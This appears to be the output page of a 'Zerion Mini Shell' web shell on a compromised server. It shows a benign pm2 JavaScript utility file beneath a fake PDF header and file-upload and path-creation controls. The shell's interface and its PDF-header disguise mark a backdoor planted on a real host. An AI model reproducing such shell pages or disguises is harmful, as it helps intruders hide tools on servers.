%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/node_modules/pm2/node_modules/@pm2/io/build/main/utils/
Upload File :
Create Path :
Current File : //usr/lib/node_modules/pm2/node_modules/@pm2/io/build/main/utils/miscellaneous.js

"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
const serviceManager_1 = require("../serviceManager");
class MiscUtils {
    static generateUUID() {
        return Math.random().toString(36).substr(2, 16);
    }
    static getValueFromDump(property, parentProperty) {
        if (!parentProperty) {
            parentProperty = 'handles';
        }
        const dump = serviceManager_1.ServiceManager.get('eventLoopService').inspector.dump();
        return dump[parentProperty].hasOwnProperty(property) ? dump[parentProperty][property].length : 0;
    }
}
exports.default = MiscUtils;

Zerion Mini Shell 1.0